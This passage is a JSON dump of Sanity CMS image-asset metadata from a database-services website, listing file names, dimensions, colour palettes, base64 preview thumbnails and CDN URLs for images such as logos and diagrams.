8MsVP/YzXw0MkPDOu2vmLYc/g9w/5j78XXbX3VsGj506PTZ97rZ9iS7jRxZduERfMW3788cf7HrS2T3ztENv5nys08xdDa+wSrgbvP/GNYsuUHw9ajfxh2nPgrs2zbj57py75capvyfgbDjSKtmnnljQtauy/sa5nyurN90iuN1ozFjP//MzDU9n/GauCe038Ylm39xrDt6G+GnSd+iy/f+q1mxrJPezunvm1jKA/KjvTxX7TGM/bIhojCO4HVPW+486b/ZwguesjQ2PcG0zSQC0//ZVix/TvD1iO/GbYf+8O1ZPM3hxnLPqV2TnvnzKBhv8FR12PfHKPAMzPNom5bWKZ+YHYt+c9gnfgUp4G7Tv5hWLnjO8PGA78YNh38xbBg3VeO6cs+8ffOes8BANkHCPB3NOHAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c341c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#943404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6790e","foreground":"#fff","population":2.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#969ac4","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ad63","foreground":"#000","population":0.47,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a60a5","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6790e","foreground":"#fff","population":2.68,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-pattern-left-right.svg","path":"images/sczeoy4w/production/50c8a7475cc0e3ac749daf7876338576c9bbac1a-2153x837.svg","sha1hash":"50c8a7475cc0e3ac749daf7876338576c9bbac1a","size":4031,"uploadId":"3R0jD2xnolSvR8O17M9F3Rfbzsoy1rfY","url":"https://cdn.sanity.io/images/sczeoy4w/production/50c8a7475cc0e3ac749daf7876338576c9bbac1a-2153x837.svg"} {"_createdAt":"2023-03-30T17:02:24Z","_id":"image-50db07cdcfcce59724d1951b841d0107e9087f8f-1336x144-png","_rev":"IfootSjA4c56MZIbwJ5w7A","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:24Z","assetId":"50db07cdcfcce59724d1951b841d0107e9087f8f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":9.277777777777779,"height":144,"width":1336},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAUUlEQVQImWXLTRJAMAwG0N7/fG6AhaY/Y2gSlS+MlRne/oU0x7RQjFRLPUTdDPYC4O7XDxwAAg1jniJRKinrup1NpPH+aMysqgA+0927del6A5p6dE0mEzh7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5c5e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c366a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c6b1bc","foreground":"#000","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b1bc","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84d4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45c9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c42c8c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-mm2-active-integration.png","path":"images/sczeoy4w/production/50db07cdcfcce59724d1951b841d0107e9087f8f-1336x144.png","sha1hash":"50db07cdcfcce59724d1951b841d0107e9087f8f","size":7919,"uploadId":"p8n2r7uIrkKC926oDDERfUtQdX7sUvYw","url":"https://cdn.sanity.io/images/sczeoy4w/production/50db07cdcfcce59724d1951b841d0107e9087f8f-1336x144.png"} {"_createdAt":"2022-09-26T16:07:11Z","_id":"image-510274a24a9d839605dadb379f3fa793551dde67-2090x938-png","_rev":"8WeirZ6KB9gJqgJfviQ2v1","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:22Z","assetId":"510274a24a9d839605dadb379f3fa793551dde67","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGC?v0t700M{%M00ay~qt7M{D%j[%Mofay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.228144989339019,"height":938,"width":2090},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABvElEQVQokX2Su4oiQRSGfZGuvlRftR2rdVl3oFfBTI0cFDswNFO8IPgAghgZipGJoIgrxipmiom3R/qXqqFlJpng41RyvvrPqYqwFIPrxWG6Nqijg9oU1KBQqQJZkyFrREAUAiITEPIzkXf/HezPL9gpBjPhwozZ0E0dqq5CpgSEy1QJRJEgEQmS9DMR/6+PZPo3YqkUYozBiUVh2zYcx4ZlW9ANHRrVoGoqFEURyLIs+HomYcJkMokE8/DGGN4SCXieh1wuh6AaoFariVoul/FR+kCpVEKxWITv++B9jDHE43EYhgFVVaFpGiKfaRyBaZpCWK/XMZvNsN1usdn8w3q9xmq1wnK5xHQ6Ra/XQ7VaRaFQEHLey4WUUkR0XRc38Mqj8xs7nQ4OhwOezycej4fger3ieDxiPp9jMBig2WwiCAJkMhkRhPeKhF+FfAeu66LdbmO/3wnR/X4XnE4nLBYLDIdD9Pt9NBoNVCoVpNNpIeK9L6FlWUIaClutFna7nRDdbjfB+XzGZrPBZDLBaDRCt9tFPp9HNBp9PcxLyPcYxg5H3u/330bm8svlIvY6Ho9Fwmw2KyT8u4TC/9wHUw4uwBBKAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121504","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#121504","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4ccc4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9e98f","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#80747c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7d628","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"510274a24a9d839605dadb379f3fa793551dde67-2090x938.png","path":"images/sczeoy4w/production/510274a24a9d839605dadb379f3fa793551dde67-2090x938.png","sha1hash":"510274a24a9d839605dadb379f3fa793551dde67","size":532632,"uploadId":"NpCDGFpd18gTS3RlU4ne5tYIJqQmOiZc","url":"https://cdn.sanity.io/images/sczeoy4w/production/510274a24a9d839605dadb379f3fa793551dde67-2090x938.png"} {"_createdAt":"2024-03-08T07:47:07Z","_id":"image-513ebe6d513d85285a93612e9294ab5c41c7bc53-3200x1340-png","_rev":"TOsxXx20RF0WqO4qub8V1q","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:47:07Z","assetId":"513ebe6d513d85285a93612e9294ab5c41c7bc53","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M48}3=xvRkTI00DhWBfkWXkX00M_WTQ.~o","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.388059701492537,"height":1340,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACZ0lEQVQokU3MW0/aYACA4Q/KoYweLCDMXQAbqEMl0Rk51HKopcAKyFnLSaAt0CpuMJluihNdZuJm3IxL9I/s923hbhfv3ZMXeNc2kFcut9HhcCDTnM6X+PzCotWz5LUuLXtRl8utWfOR6vUABS96llGn04nYHXbE4XBiLveC5bVnxepZWsFd7nnYbrdrgD8Ue0ZtJfRkhNF6lr1QeDOorebzuFDmZ5tFHkmynJpk0yqGy+vpeAYO00nd6moAonwbmmI2i+QKZUsqV8ajbErzYu45AJF4Bs3xLbwmKOj4YqR/eOgb7s56lvuhMnetKGin1VfR2yUVV6zB5WobF9oippy04OunJvx9IhHng+7cYbdH1FsKlA4yANDJLMq3ZUunf2SbXH0ifv5+b7q76tkeP/Sst7Js3K10VPFMQZUuNwyNtmRR+qJt/6puGj81iB830uyvUdf2Ve5hQkOC/j7+ASAazyB1qU/IgxPz5y9n6LfbM3Q8PiYuD98hF21JU23JIL5dUmXKe3BN7BLioGMWJ030+P4AOb/8SEwGA+xS7Oq6lSYAMQ4Akk4YSnVRL/VH2s7hCDo4GhuU4alZUIZ4sSrosjt76mSOV7/NV3WFugBX92Xd7kCClNGpThmemsT9I9NOvQOnSzWo1OgA4KMYo49itOtkFPKHYpoc3zRUWrKpWBPMXL6Cx1IFQ5hNa6OJLBxhM/pgKKF5sxGFuDyv51u9mXJDsqSK1Rk2XTKG2bRuOjT5KAbzUQw6LRBmsU06iYcYjqAYzhSMxvFAmEVJOokFI3HcF5q6LdQfimHkf46kk4Q/HMP/AZ10oYZ13KOEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#582c32","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b0609","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2b0609","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cece94","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e09ca2","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d5c63","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84282c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-ivfflat-clusters-probes.png","path":"images/sczeoy4w/production/513ebe6d513d85285a93612e9294ab5c41c7bc53-3200x1340.png","sha1hash":"513ebe6d513d85285a93612e9294ab5c41c7bc53","size":178359,"uploadId":"IqRK90k0c2hsBI8N5FdVNi7cCVrQ6X8f","url":"https://cdn.sanity.io/images/sczeoy4w/production/513ebe6d513d85285a93612e9294ab5c41c7bc53-3200x1340.png"} {"_createdAt":"2023-12-14T13:20:45Z","_id":"image-5150a6e6fe4f217283dd4f40e0d275a8d377ef3d-6165x4110-jpg","_rev":"sg5cBJWkRHo7pkcz4Ge1WJ","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:45Z","assetId":"5150a6e6fe4f217283dd4f40e0d275a8d377ef3d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4110,"width":6165},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYEBQf/xAAjEAABAwQBBAMAAAAAAAAAAAABAgMEAAUGERIhMUFRBxMU/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAIDBP/EABwRAAICAgMAAAAAAAAAAAAAAAECAAMREhNRof/aAAwDAQACEQMRAD8AaMVyKwuY3Zogms6aZCXG+XEpV4NJ/wAyZBYLnkFphyyHo8NAc+9k7PL0RWKWaa8OoVpR81OXH/bNDr6yTx7a9VpssQoBt5JIh2JCy6yu8Y7ersZbrkoq4JR0aA7UUqyYTSHlAA6ooAp7inkzP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3757","foreground":"#fff","population":6.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#223b7b","foreground":"#fff","population":4.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c61bd","foreground":"#fff","population":6.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5b29f","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2e7fc","foreground":"#000","population":1.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac664e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c61bd","foreground":"#fff","population":6.93,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"57hGTq3C.jpeg","path":"images/sczeoy4w/production/5150a6e6fe4f217283dd4f40e0d275a8d377ef3d-6165x4110.jpg","sha1hash":"5150a6e6fe4f217283dd4f40e0d275a8d377ef3d","size":3195597,"uploadId":"rFa6myTtTv8j4YODVPvRlUXhzgf83G87","url":"https://cdn.sanity.io/images/sczeoy4w/production/5150a6e6fe4f217283dd4f40e0d275a8d377ef3d-6165x4110.jpg"} {"_createdAt":"2022-10-25T14:11:49Z","_id":"image-516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488-png","_rev":"E14MgWwcuZqRwUmUX1gCJu","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:11:49Z","assetId":"516500627d64aa7eaa9bddb050abd7bddded99bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DGHUq,8q0v.?4n?_$42cS$x[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.098360655737705,"height":488,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABoElEQVQYlQGVAWr+AJmVlgCNlpUAd8XQAP+0ogDXYC4D929FF/FyTTDwclM59HBWOvJpWDXwWFg18EVVOew4VTvsNVQy7jVQF/EVMwLmvZwAWMrFAJSLkwCWmpcAAJWXlwiVkJAIab62DVzf2SRb2towX7zCLIGvuzyOp7lEh4+uOoOHukGKe7lCnWWrObVttEW8aLRAv1W3Lc5lyzDSacckumaqDI2RjQWYlpgFAJaXlyCTkpIjdLq0M3Dd13Bm19iWRcbVgF/G4I9tu96ZS53agVKT35RghteXb3jWgJ2M3ZaqgtOUsF/Kf8ZszJXGcb92rW+iL5CQkBeXl5gVAJaXlx2TkpIidLu0MW7Z0nBmzs6bSMDNhVvA2pFostKeS5nSg1GQ2JJfg8yZbnfOgZeJ1paigMiXqmDDgb1qxJW4b7R7pHGcMJKSkROXl5gQAJCZmQSdi40FVsW6C0TPxStMwrxASba/LkKszDdNosJCUJTBLFKGyDBfgLo3dHW9KYpvwTWQcLQ4o2GzKLFbrzSqZaMwoXaaD5asmgGXipYBt9rMXY21e8YAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#534449","foreground":"#fff","population":2.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#048c6c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#534449","foreground":"#fff","population":2.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b9ad","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b98aef","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a49464","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1098f5","foreground":"#fff","population":0.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488.png","path":"images/sczeoy4w/production/516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488.png","sha1hash":"516500627d64aa7eaa9bddb050abd7bddded99bb","size":72891,"uploadId":"UO1QiYlw2BdzaLeAORuiMWs4RiOc2RwY","url":"https://cdn.sanity.io/images/sczeoy4w/production/516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488.png"} {"_createdAt":"2022-08-25T11:44:24Z","_id":"image-5171d32a3373c496c2e3e48d65b9d8774c791dbc-206x36-svg","_rev":"EU2LgqOF5HzqTxO9PYqpuY","_type":"sanity.imageAsset","_updatedAt":"2022-09-03T18:22:47Z","altText":"Google Cloud logo","assetId":"5171d32a3373c496c2e3e48d65b9d8774c791dbc","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4ZG@yD^UE.9%EW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.722222222222222,"height":36,"width":206},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA6UlEQVQImWNwbPmS5NL8wacqd7PL2cBg58/FsvYf1gjZb1yWZuU74bCTf2932OQin4Az/lZGTZExWjHJGSbxSekWcUnpDnFJ6eZxSelacUnpSnFJ6QZxSen+DI6tXyI9ml77t2Yui74QFJD6uUQ25d1KsZSVi/OTA/vOZEW2zC5dmepdcN3LzLs/LMIgOjlDPz4p3SwuKd0HZACUdotLSveLS0qPBxno6N701r0zfZHPDT/3sM/FspHvVolFzVtQk+TbfaMkrHlj3urkwMj77saWU0LDlWMgBlpBXegCNcw9LindMy4pPQAAjVdkWaxMkWUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#224928","foreground":"#fff","population":0.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f210e","foreground":"#fff","population":1.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1bc14","foreground":"#000","population":1.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#084c90","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#449cf4","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#449444","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1bc14","foreground":"#000","population":1.97,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-google-cloud.svg","path":"images/sczeoy4w/production/5171d32a3373c496c2e3e48d65b9d8774c791dbc-206x36.svg","sha1hash":"5171d32a3373c496c2e3e48d65b9d8774c791dbc","size":3390,"title":null,"uploadId":"3ktwz3lkL6PPfANWXMfx6HLI04XBXa3l","url":"https://cdn.sanity.io/images/sczeoy4w/production/5171d32a3373c496c2e3e48d65b9d8774c791dbc-206x36.svg"} {"_createdAt":"2022-06-16T22:54:05Z","_id":"image-517311d1ec5f510eb94f32c1d2280fa8421036de-224x110-jpg","_rev":"0HOthdQkSgJdYc0C9vxXRG","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:05Z","assetId":"517311d1ec5f510eb94f32c1d2280fa8421036de","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdR.}nIp%g?H%2?wxZRjNGNG%2tRR5M{R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.036363636363636,"height":110,"width":224},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACUQAAIBAwIFBQAAAAAAAAAAAAECAwAEEQUGEjEyQVEHEyFCkf/EABcBAAMBAAAAAAAAAAAAAAAAAAABAwT/xAAaEQACAwEBAAAAAAAAAAAAAAABAgADEUEE/9oADAMBAAIRAxEAPwC+7z3xp21mijuhJLNIeiMch5Na+m6zFeKhKmMOoZc981P/AFBijk0a2eRFdzfqCzDJxxcs0zIOEuF+AAMY7VF7CACJprqDMynkbg6n7D9opWtXb2uo8/NFIXbyB8+HNn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76370d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f9f8","foreground":"#000","population":4.18,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f4f9f8","foreground":"#000","population":4.18,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcb096","foreground":"#000","population":2.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97b5b","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e56d1f","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"logo-big-start-ventures.jpeg","path":"images/sczeoy4w/production/517311d1ec5f510eb94f32c1d2280fa8421036de-224x110.jpg","sha1hash":"517311d1ec5f510eb94f32c1d2280fa8421036de","size":4373,"uploadId":"JdQEHcKeE6MmgqSGbI7SHzXCZdKD8RsO","url":"https://cdn.sanity.io/images/sczeoy4w/production/517311d1ec5f510eb94f32c1d2280fa8421036de-224x110.jpg"} {"_createdAt":"2022-06-16T23:49:32Z","_id":"image-51a6da6af18068d815976000046f8927190a1dba-1200x630-jpg","_rev":"0HOthdQkSgJdYc0C9w1Zbz","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:32Z","assetId":"51a6da6af18068d815976000046f8927190a1dba","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA|R{$RQFx]5$na1enoyV[+aI@oyxFI?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EAB8QAAICAgIDAQAAAAAAAAAAAAECAwQAEQUhEiMxQf/EABcBAAMBAAAAAAAAAAAAAAAAAAEFBgf/xAAbEQEBAAIDAQAAAAAAAAAAAAABAgADBRESFf/aAAwDAQACEQMRAD8A0atGuER3Rj1s99Yq/PW4zi2nR1WSWbwAdPLSa+jKHPpUYqaGOwipOgdV7AP5kP8AT8WNnZmsbitkp6cVRFexShlIcsy7YgaG94ZVDGscaoihVHwDDFu3kaq1k6MMtAHef//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1b09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":8.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c3be","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":8.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#c07c9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7408","foreground":"#fff","population":7.33,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Alef_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/51a6da6af18068d815976000046f8927190a1dba-1200x630.jpg","sha1hash":"51a6da6af18068d815976000046f8927190a1dba","size":222690,"uploadId":"q9oplHZk47E3ynoxPeqtBddSPCnW10Z5","url":"https://cdn.sanity.io/images/sczeoy4w/production/51a6da6af18068d815976000046f8927190a1dba-1200x630.jpg"} {"_createdAt":"2024-07-12T13:07:15Z","_id":"image-51b244720d37f3224106e4cd025fbb5bd0ba3f26-1200x630-jpg","_rev":"ZgPiUE9lJ1tcRKuFne3pAH","_type":"sanity.imageAsset","_updatedAt":"2024-07-12T13:07:15Z","assetId":"51b244720d37f3224106e4cd025fbb5bd0ba3f26","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M497MYAP0J}q9~ys^+D+9u-m0~=txIJU$d","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMFBgf/xAAhEAACAQMEAwEAAAAAAAAAAAABAgMABAUREiFRFDFBcf/EABYBAQEBAAAAAAAAAAAAAAAAAAQFBv/EABwRAAICAgMAAAAAAAAAAAAAAAERAAIhIgMxYf/aAAwDAQACEQMRAD8A4xj77GLGiy2m5gACdPvdXxZm/hVMbjgpP1hoT+VkFY+Kg499VVx2Qu4omWOd1GndanirYh079htQdo+4tpbWVoZ0KSLwQaKW0jyHdIxZj7JNFUw1mHKeJ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324471","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":8.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1e2b90","foreground":"#fff","population":10.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceaba6","foreground":"#000","population":9.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8595e4","foreground":"#000","population":0.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#535d8c","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e2b90","foreground":"#fff","population":10.56,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_SERVE_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/51b244720d37f3224106e4cd025fbb5bd0ba3f26-1200x630.jpg","sha1hash":"51b244720d37f3224106e4cd025fbb5bd0ba3f26","size":45781,"uploadId":"ZpLUnFm6uhZccu87wNm5ISB7yju8nr3b","url":"https://cdn.sanity.io/images/sczeoy4w/production/51b244720d37f3224106e4cd025fbb5bd0ba3f26-1200x630.jpg"} 